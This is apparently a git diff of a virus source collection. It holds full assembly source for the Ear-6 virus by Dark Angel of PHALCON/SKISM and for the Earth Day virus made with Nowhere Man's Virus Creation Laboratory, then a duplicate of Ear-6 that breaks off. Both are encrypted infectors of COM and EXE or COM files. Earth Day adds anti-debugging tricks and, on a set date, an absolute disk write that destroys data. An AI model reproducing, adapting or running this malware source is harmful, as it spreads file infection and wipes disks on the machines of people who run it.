mov cx,0100h +lf10: mov ax,si + mov cs:asc[si],al + inc si + loop lf10 + sub bx,bx + mov cx,5000h +lf20: mov al,[bx] + mov si,ax + shl si,1 + inc cs:tbl[si] + inc bx + loop lf20 + ret +fill endp + +swap proc near + push ax + mov ax,tbl[si] + xchg ax,tbl[di] + mov tbl[si],ax + shr si,1 + shr di,1 + mov al,asc[si] + xchg al,asc[di] + mov asc[si],al + shl si,1 + shl di,1 + pop ax + ret +swap endp + +sort proc near + + mov bp,32 + mov cl,1 +ss00: sub ax,ax + mov dx,510 +ss05: mov di,ax + mov bx,tbl[di] + mov si,di +ss10: cmp si,dx + je ss20 + inc si + inc si + cmp bx,tbl[si] + jnc ss10 + inc di + inc di + call swap + jmp short ss10 +ss20: mov si,ax + call swap + cmp di,bp + je ss40 + jc ss30 + mov dx,di + dec dx + dec dx + jmp short ss05 +ss30: mov ax,di + inc ax + inc ax + jmp short ss05 +ss40: shl bp,cl + shl cl,1 + cmp cl,8 + jne ss00 + +; call writ + + mov di,offset asc + 128 + sub bx,bx +k10: mov [bx][di],bl + inc bl + jnz k10 + mov si,offset asc +k20: mov bl,[si] + mov byte ptr [bx][di],0 + inc si + cmp si,di + jne k20 + dec di + mov cx,128 +k30: inc di + cmp byte ptr [di],0 + je k30 + mov al,[di] + mov [si],al + inc si + loop k30 + ret +sort endp + +make proc near + mov cx,16 + mov bx,offset dat + sub si,si + sub ax,ax +lm10: mov al,asc[si] + mov di,ax + mov dx,si + add dl,[bx] + mov cod[di],dl + mov dl,[bx+1] + mov len[di],dl + inc si + cmp si,cx + jnz lm10 + inc bx + inc bx + shl cx,1 + cmp cx,512 + jnz lm10 + ret +make endp + +build proc near + call fill + mov ax,cs + mov ds,ax + call sort + call make + ret +build endp + +write proc near + mov dx,offset fn2 + mov al,02h + mov ah,3dh + int 21h + jc sw + mov bx,ax + mov ax,es + mov ds,ax + sub dx,dx + mov cx,5000h + mov ah,40h + int 21h + jc sw + mov ah,3eh + int 21h +sw: ret +write endp + +read proc near + mov dx,offset fn1 + mov al,00h + mov ah,3dh + int 21h + jc sr + mov bx,ax + mov ax,ds + add ax,1000h + mov ds,ax + sub dx,dx + mov cx,5000h + mov ah,3fh + int 21h + jc sr + mov ah,3eh + int 21h +sr: ret +read endp + +writ proc near + mov dx,offset fn4 + sub cx,cx + mov ah,3ch + int 21h + mov bx,ax + mov dx,offset tbl + mov cx,512 + mov ah,40h + int 21h + mov ah,3eh + int 21h + ret +writ endp + +last label byte +code ends + end prog + + \ No newline at end of file diff --git a/e/EAR.ASM b/e/EAR.ASM new file mode 100755 index 0000000..9ce3b5d --- /dev/null +++ b/e/EAR.ASM @@ -0,0 +1,476 @@ +; [Ear-6] + +; El virus de oreja y odo seis +; Fue escrito por Dark Angel de PHALCON/SKISM +; Yo (el ngel oscuro) escrib este programa hace muchas semanas. +; No deba modificar este programa y da a otras personas COMO SI +; estar el suyo. + +; Dnde est mi llama, mama? + +; diccionarito +; espaol ingls magnitud size +; abre open mango handle +; aprueba pass (a test) mscara mask +; atras back mensaje message +; azado random mes month +; busca find montn heap +; cierra close oreja, odo ear +; cifra code, encrypt, decrypt pila stack +; codo pointer pregunta question +; corto terse, short primer first +; empieza begin remendar patch +; escriba write renuncia reject +; espaol ingls respuesta answer +; fecha date salta exit +; ficha file siguiente following, next +; ndice table suspende fail (a test) +; le gusta? do you like? termina end +; longitud length virus virus (!) + +.model tiny +.code +org 100h + +longitud_del_virus = TerminaVir - EmpezarVir +longitud_del_escribir = offset termina_escribir - offset escribir + +id = 'GH' ; Representa el lder de + ; PHALCON/SKISM, Garbageheap +Empezar: db 0e9h, 0, 0 ; jmp EmpezarVir + +EmpezarVir: +shwing: +remendar1: + mov bx, offset EmpezarCifra +remendar2: + mov cx, ((longitud_del_virus + 1) / 2) +hacia_atras: ; atrs + db 2eh +remendar3: + db 81h, 37h, 0, 0 ; xor word ptr cs:[bx], 0 + add bx, 2 + loop hacia_atras +EmpezarCifra: + + call siguiente ; Es estupido, pero es corto +siguiente: + pop bp + sub bp, offset siguiente + + mov byte ptr [bp+numinf], 0 + + cld ; No es necessario, pero + ; por qu no? + cmp sp, id + jz SoyEXE +SoyCOM: mov di, 100h + push di + lea si, [bp+Primer3] + movsb + jmp short SoyNada +SoyEXE: push ds + push es + push cs + push cs + pop ds + pop es + + lea di, [bp+EXE_Donde_JMP] ; el CS:IP original de la ficha + lea si, [bp+EXE_Donde_JMP2] ; infectada + movsw + movsw + movsw + + jmp short SoyNada + +NombreDelVirus db 0,'[Ear-6]',0 ; En ingls, por supuesto! +NombreDelAutor db 'Dark Angel',0 + +SoyNada: + movsw + + mov ah, 1ah ; Esindicece un DTA nuevo + lea dx, [bp+offset nuevoDTA] ; porque no quiere destruir + int 21h ; el DTA original + + mov ax, word ptr [bp+remendar1+1] + mov word ptr [bp+tempo], ax + + mov ah, 47h ; Obtiene el directorio + xor dl, dl ; presente + lea si, [bp+diroriginal] + int 21h + +looper: + lea dx, [bp+offset mascara1] ; "mscara", no "mascara" + call infectar_mascara ; pero no es possible usar + ; acentos en MASM/TASM. + ; Qu lstima! + ; mascara1 es '*.EXE',0 + lea dx, [bp+offset mascara2] ; mascara2 es '*.COM',0 + call infectar_mascara ; infecta las fichas de COM + + cmp byte ptr [bp+numinf], 5 ; Ha infectada cinco fichas? + jg saltar ; Si es verdad, no necesita + ; busca ms fichas. + mov ah, 3bh ; Cambia el directorio al + lea dx, [bp+puntos] ; directorio anterior + int 21h ; ('..', 'punto punto') + jnc looper + +saltar: lea dx, [bp+backslash] ; Cambia el directorio al + mov ah, 3bh ; directorio terminado. + int 21h + + mov ah, 2ah ; Activa el primer de + int 21h ; cada mes + cmp dl, 1 ; Si no es el primer, + jnz saltarahora ; saltar ahora! (duh-o) + + mov ah, 2ch ; Qu hora es? + int 21h + + cmp dl, 85 ; 85% probabilidad de + jg saltarahora ; activacin + + and dx, 7 ; Un nmero quasi-azado + shl dl, 1 ; Usalo para determinar + mov bx, bp ; que preguntar la virus + add bx, dx + mov dx, word ptr [bx+indice] ; ndice para el examencito + add dx, bp + inc dx + push dx ; Salva el codo al pregunta + + mov ah, 9 ; Escriba el primer parte de + lea dx, [bp+mensaje] ; la pregunta + int 21h + + pop dx ; Escriba el parte de la oreja + int 21h ; o el odo + dec dx + push dx ; Salva la respuesta correcta + + lea dx, [bp+secciones] ; Escriba los secciones de la + int 21h ; oreja y el odo + +trataotrarespuesta: + mov ah, 7 ; Obtiene la respuesta de la + int 21h ; "vctima" + cmp al, '1' ; Necesita una respuesta de + jl trataotrarespuesta ; uno hasta tres + cmp al, '3' ; Renuncia otras respuestas + jg trataotrarespuesta + + int 29h ; Escriba la respuesta + + pop bx ; El codo al respuesta + ; correcta + mov ah, 9 ; Prepara a escribir un + ; mensaje + cmp al, byte ptr [bx] ; Es correcta? + jz saltarapidamente ; l aprueba el examencito. + ; Pues, salta rpidamente. + lea dx, [bp+suspendido] ; Lo siento, pero Ud. no + int 21h ; aprueba el examencito fcil! + + mov ah, 4ch ; Estudie ms y el programa + jmp quite ; permitir a Ud a continuar. + +saltarapidamente: + lea dx, [bp+aprueba] + int 21h +saltarahora: + mov ah, 1ah ; Restaura el DTA original + mov dx, 80h +quite: + cmp sp, id - 4 ; Es EXE o COM? + jz vuelvaEXE +vuelvaCOM: + int 21h ; Restaura el DTA y vuelva + retn ; a la ficha original de COM + +vuelvaEXE: + pop es + pop ds ; ds -> PSP + + int 21h + + mov ax, es + add ax, 10h ; Ajusta para el PSP + add word ptr cs:[bp+EXE_Donde_JMP+2], ax + cli + add ax, word ptr cs:[bp+PilaOriginal+2] + mov ss, ax + mov sp, word ptr cs:[bp+PilaOriginal] + sti + db 0eah ; JMP FAR PTR SEG:OFF +EXE_Donde_JMP dd 0 +PilaOriginal dd 0 + +EXE_Donde_JMP2 dd 0 +PilaOriginal2 dd 0 + +infectar_mascara: + mov ah, 4eh ; Busca la ficha primera + mov cx, 7 ; Cada atributo +brb_brb: + int 21h + jc hasta_la_vista_bebe ; No la busca + + xor al, al + call abrir ; Abre la ficha + + mov ah, 3fh + mov cx, 1ah + lea dx, [bp+buffer] + int 21h + + mov ah, 3eh ; Cierra la ficha + int 21h + + lea si,[bp+nuevoDTA+15h] ; Salva cosas sobre la ficha + lea di,[bp+f_atrib] ; Por ejemplo, la fecha de + mov cx, 9 ; creacin + rep movsb + + cmp word ptr [bp+buffer], 'ZM' ; Es EXE o COM? + jz buscaEXE +buscaCOM: + mov ax, word ptr [bp+f_long] ; Cuan grande es la ficha? + sub ax, longitud_del_virus + 3 ; Adjusta para el JMP + cmp ax, word ptr [bp+buffer+1] ; Ya es infectada? + jnz infecta_mi_burro ; "infect my ass" + jmp short BuscaMas +buscaEXE: + cmp word ptr [bp+buffer+10h], id + jnz infecta_mi_burro +BuscaMas: + mov ah, 4fh ; Busca otra ficha... + jmp short brb_brb +hasta_la_vista_bebe: ; Le gusta Arnold? + ret + +infecta_mi_burro: + ; AX = longitud de la ficha infectada + lea si, [bp+buffer] + + cmp word ptr [si], 'ZM' + jz InfectaEXE +InfectaCOM: + push ax + + mov cx, word ptr [bp+tempo] + mov word ptr [bp+remendar1+1], cx + + lea di, [bp+Primer3] + movsb + push si + movsw + + mov byte ptr [bp+buffer], 0e9h + pop di + add ax, longitud_del_virus + stosw + + mov cx, 3 + jmp short TerminaInfeccion +InfectaEXE: + les ax, [si+14h] ; Salva el original empieza + mov word ptr [bp+EXE_Donde_JMP2], ax; CS:IP de la ficha infectada + mov word ptr [bp+EXE_Donde_JMP2+2], es + + les ax, [si+0Eh] ; Salva la original locacin + mov word ptr [bp+PilaOriginal2], es ; de la pila + mov word ptr [bp+PilaOriginal2+2], ax + + mov ax, word ptr [si + 8] + mov cl, 4 + shl ax, cl + xchg ax, bx + + les ax, [bp+offset nuevoDTA+26] + mov dx, es + push ax + push dx + + sub ax, bx + sbb dx, 0 + + mov cx, 10h + div cx + + mov word ptr [si+14h], dx ; Nuevo empieza CS:IP + mov word ptr [si+16h], ax + + mov cl, 4 + shr dx, cl + add ax, dx + mov word ptr [si+0Eh], ax ; y SS:SP + mov word ptr [si+10h], id + + pop dx ; Restaura el magnitud de + pop ax ; la ficha + + add ax, longitud_del_virus ; Aada el magnitud del virus + adc dx, 0 + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 + + mov word ptr [si+4], dx ; Nuevo magnitud de la ficha + mov word ptr [si+2], ax + + push cs + pop es + + mov ax, word ptr [si+14h] + sub ax, longitud_del_virus + offset Empezarvir + push ax + + mov cx, 1ah +TerminaInfeccion: + mov al, 2 + call abrir + + mov ah, 40h + lea dx, [bp+buffer] + int 21h + + mov ax, 4202h + xor cx, cx + cwd ; xor dx,dx + int 21h + + mov ah, 2ch ; Nmeros azados en CX y DX + int 21h + mov word ptr [bp+remendar3+2], cx ; Es el nuevo nmero de la + ; cifra + and cx, 31 ; Pone un nmero azado para el + add cx, ((longitud_del_virus + 1) / 2); magnitud de la ficha. Por + ; eso, los scanners necesitan + mov word ptr [bp+remendar2+1], cx ; usar "wildcards" + lea di, [bp+tempstore] + mov al, 53h ; push bx + stosb ; (no destruir el mango de la + ; ficha) + lea si, [bp+shwing] ; Copia las instrucciones + push si ; para formar la cifra + mov cx, longitud_de_la_cifra + push cx + rep movsb + + mov al, 5bh ; pop bx + stosb ; (recuerda mango de la ficha) + + lea si, [bp+escribir] ; Copia las instrucciones + mov cx, longitud_del_escribir ; para aada el virus a la + rep movsb ; ficha + + mov al, 53h ; push bx + stosb + + pop cx ; Copia las instrucciones + pop si ; para invalidar la cifra + rep movsb + mov ax, 0c35bh ; pop bx, retn + stosw + + pop ax + + ; Codo del comienzo de la cifra + add ax, offset EmpezarCifra + longitud_del_virus + mov word ptr [bp+remendar1+1], ax + + call antes_del_tempstore + + mov ax, 5701h ; BX = mango de la ficha + mov dx, word ptr [bp+f_fecha] + mov cx, word ptr [bp+f_hora] + int 21h ; Restaura fecha y hora + + mov ah, 3eh + int 21h + + xor ch, ch + mov cl, byte ptr [bp+f_atrib] + mov ax, 4301h + lea dx, [bp+offset nuevoDTA + 30] ; Busca un ficha en el DTA + int 21h + + inc byte ptr [bp+numinf] + + jmp BuscaMas + +Primer3 db 0CDh, 20h, 0 +puntos db '..',0 +mascara1 db '*.EXE',0 +mascara2 db '*.COM',0 + +abrir: mov ah, 3dh ; Abrir un ficha + lea dx, [bp+nuevoDTA+30] ; Nombre de la ficha es en + int 21h ; el DTA + xchg ax, bx + ret + +indice dw offset oreja1, offset oreja2, offset oreja3, offset oreja4 + dw offset oreja5, offset oreja6, offset oreja4, offset oreja1 +oreja1 db '1','Auditory Canal$' +oreja2 db '1','Lobe$' +oreja3 db '2','Anvil$' +oreja4 db '2','Eustachian Tube$' +oreja5 db '3','Auditory Nerve$' +oreja6 db '3','Cochlea$' + +mensaje db 'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $' +secciones db ' located?',13,10 + db ' 1. External Ear',13,10 + db ' 2. Middle Ear',13,10 + db ' 3. Inner Ear',13,10,'( )',8,8,'$' + +; No es bueno. +suspendido db 13,10,'You obviously know nothing about ears.' + db 13,10,'Try again after some study.',13,10,'$' + +; Espero que s! +aprueba db 13,10,'Wow, you know your ears! Please resume work.',13,10 + db '$' + +escribir: + mov ah, 40h + mov cx, TerminaVir - EmpezarVir + lea dx, [bp+EmpezarVir] + int 21h +termina_escribir: + +backslash db '\' + +TerminaVir = $ + +; Los que sigue son en el montn... +longitud_de_la_cifra = offset EmpezarCifra - offset shwing + +diroriginal db 64 dup (?) +tempo dw ? +nuevoDTA db 43 dup (?) +numinf db ? +antes_del_tempstore: +; tempstore es el buffer para el parte del programa que aada el virus al fin +; de otro programa +tempstore db (longitud_de_la_cifra*2+longitud_del_escribir+5) dup (?) + ; aada cinco para los pop, + ; los push, y el retn +buffer db 1ah dup (?) +f_atrib db ? ; atributo de la ficha +f_hora dw ? ; hora de creacin +f_fecha dw ? ; fecha de creacin +f_long dd ? ; magnitud de la ficha + + end Empezar + diff --git a/e/EARTHDAY.ASM b/e/EARTHDAY.ASM new file mode 100755 index 0000000..bc89bd6 --- /dev/null +++ b/e/EARTHDAY.ASM @@ -0,0 +1,422 @@ +; EARTHDAY.ASM -- Earth Day Virus +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Nowhere Man + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + lea bx,[di + null_vector] ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + call get_month + cmp ax,0004h ; Did the function return 4? + jne skip00 ; If not equal, skip effect + call get_day + cmp ax,0016h ; Did the function return 22? + jne skip00 ; If not equal, skip effect + call get_year + cmp ax,07C9h ; Did the function return 1993? + jle skip00 ; If less that or equal, skip effect + cmp ax,07CCh ; Did the function return 1996? + jge skip00 ; If greater than or equal, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: lea si,[di + data00] ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + + mov ax,0002h ; First argument is 2 + mov cx,0100h ; Second argument is 256 + cli ; Disable interrupts (no Ctrl-C) + cwd ; Clear DX (start with sector 0) + int 026h ; DOS absolute write interrupt + sti ; Restore interrupts + +end00: xor ah,ah ; BIOS get time function + int 01Ah + xchg dx,ax ; AX holds clock ticks + mov cx,0005h ; We'll divide by 5 + cwd ; Sign-extend AX into DX:AX + div cx ; Divide AX by CX + or dx,dx ; Is there a remaindier? + jne no_infection ; If there is then don't spread + call search_files ; Find and infect a file +no_infection: + +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + + + db 009h,0C0h,0EEh,0D9h,0ECh + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + + db 0E0h,049h,06Ch,01Bh,06Ch + + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + db 00Ah,073h,01Fh,038h,054h + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + + db 0D9h,095h,0B5h,0D7h,0D0h + +get_day proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dl ; Copy day into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_day endp + + db 0F6h,028h,099h,0E1h,06Dh + +get_month proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dh ; Copy month into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_month endp + + db 071h,021h,0B4h,033h,071h + +get_year proc near + mov ah,02Ah ; DOS get date function + int 021h + xchg cx,ax ; Transfer the year into AX + ret ; Return to caller +get_year endp + +data00 db "Happy Earth Day!!!",13,10,13,10 + db "In the spirit of Earth Day, this VIRUS has recycled your hard disk.",13,10,0 + +vcl_marker db "[VCL]",0 ; VCL creation marker + + +note db "[Earth Day]",0 + db "Nowhere Man, [NuKE] '92",0 + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main \ No newline at end of file diff --git a/e/EAR_6.ASM b/e/EAR_6.ASM new file mode 100755 index 0000000..9ce3b5d --- /dev/null +++ b/e/EAR_6.ASM @@ -0,0 +1,476 @@ +; [Ear-6] + +; El virus de oreja y odo seis +; Fue escrito por Dark Angel de PHALCON/SKISM +; Yo (el ngel oscuro) escrib este programa hace muchas semanas. +; No deba modificar este programa y da a otras personas COMO SI +; estar el suyo. + +; Dnde est mi llama, mama? + +; diccionarito +; espaol ingls magnitud size +; abre open mango handle +; aprueba pass (a test) mscara mask +; atras back mensaje message +; azado random mes month +; busca find montn heap +; cierra close oreja, odo ear +; cifra code, encrypt, decrypt pila stack +; codo pointer pregunta question +; corto terse, short primer first +; empieza begin remendar patch +; escriba write renuncia reject +; espaol ingls respuesta answer +; fecha date salta exit +; ficha file siguiente following, next +; ndice table suspende fail (a test) +; le gusta? do you like? termina end +; longitud length virus virus (!) + +.model tiny +.code +org 100h + +longitud_del_virus = TerminaVir - EmpezarVir +longitud_del_escribir = offset termina_escribir - offset escribir + +id = 'GH' ; Representa el lder de + ; PHALCON/SKISM, Garbageheap +Empezar: db 0e9h, 0, 0 ; jmp EmpezarVir + +EmpezarVir: +shwing: +remendar1: + mov bx, offset EmpezarCifra +remendar2: + mov cx, ((longitud_del_virus + 1) / 2) +hacia_atras: ; atrs + db 2eh +remendar3: + db 81h, 37h, 0, 0 ; xor word ptr cs:[bx], 0 + add bx, 2 + loop hacia_atras +EmpezarCifra: + + call siguiente ; Es estupido, pero es corto +siguiente: + pop bp + sub bp, offset siguiente + + mov byte ptr [bp+numinf], 0 + + cld ; No es necessario, pero + ; por qu no? + cmp sp, id + jz SoyEXE +SoyCOM: mov di, 100h + push di + lea si, [bp+Primer3] + movsb + jmp short SoyNada +SoyEXE: push ds + push es + push cs + push cs + pop ds + pop es + + lea di, [bp+EXE_Donde_JMP] ; el CS:IP original de la ficha + lea si, [bp+EXE_Donde_JMP2] ; infectada + movsw + movsw + movsw + + jmp short SoyNada + +NombreDelVirus db 0,'[Ear-6]',0 ; En ingls, por supuesto! +NombreDelAutor db 'Dark Angel',0 + +SoyNada: + movsw + + mov ah, 1ah ; Esindicece un DTA nuevo + lea dx, [bp+offset nuevoDTA] ; porque no quiere destruir + int 21h ; el DTA original + + mov ax, word ptr [bp+remendar1+1] + mov word ptr [bp+tempo], ax + + mov ah, 47h ; Obtiene el directorio + xor dl, dl ; presente + lea si, [bp+diroriginal] + int 21h + +looper: + lea dx, [bp+offset mascara1] ; "mscara", no "mascara" + call infectar_mascara ; pero no es possible usar + ; acentos en MASM/TASM. + ; Qu lstima! + ; mascara1 es '*.EXE',0 + lea dx, [bp+offset mascara2] ; mascara2 es '*.COM',0 + call infectar_mascara ; infecta las fichas de COM + + cmp byte ptr [bp+numinf], 5 ; Ha infectada cinco fichas? + jg saltar ; Si es verdad, no necesita + ; busca ms fichas. + mov ah, 3bh ; Cambia el directorio al + lea dx, [bp+puntos] ; directorio anterior + int 21h ; ('..', 'punto punto') + jnc looper + +saltar: lea dx, [bp+backslash] ; Cambia el directorio al + mov ah, 3bh ; directorio terminado. + int 21h + + mov ah, 2ah ; Activa el primer de + int 21h ; cada mes + cmp dl, 1 ; Si no es el primer, + jnz saltarahora ; saltar ahora! (duh-o) + + mov ah, 2ch ; Qu hora es? + int 21h + + cmp dl, 85 ; 85% probabilidad de + jg saltarahora ; activacin + + and dx, 7 ; Un nmero quasi-azado + shl dl, 1 ; Usalo para determinar + mov bx, bp ; que preguntar la virus + add bx, dx + mov dx, word ptr [bx+indice] ; ndice para el examencito + add dx, bp + inc dx + push dx ; Salva el codo al pregunta + + mov ah, 9 ; Escriba el primer parte de + lea dx, [bp+mensaje] ; la pregunta + int 21h + + pop dx ; Escriba el parte de la oreja + int 21h ; o el odo + dec dx + push dx ; Salva la respuesta correcta + + lea dx, [bp+secciones] ; Escriba los secciones de la + int 21h ; oreja y el odo + +trataotrarespuesta: + mov ah, 7 ; Obtiene la respuesta de la + int 21h ; "vctima" + cmp al, '1' ; Necesita una respuesta de + jl trataotrarespuesta ; uno hasta tres + cmp al, '3' ; Renuncia otras respuestas + jg trataotrarespuesta + + int 29h ; Escriba la respuesta + + pop bx ; El codo al respuesta + ; correcta + mov ah, 9 ; Prepara a escribir un + ; mensaje + cmp al, byte ptr [bx] ; Es correcta? + jz saltarapidamente ; l aprueba el examencito. + ; Pues, salta rpidamente. + lea dx, [bp+suspendido] ; Lo siento, pero Ud. no + int 21h ; aprueba el examencito fcil! + + mov ah, 4ch ; Estudie ms y el programa + jmp quite ; permitir a Ud a continuar. + +saltarapidamente: + lea dx, [bp+aprueba] + int 21h +saltarahora: + 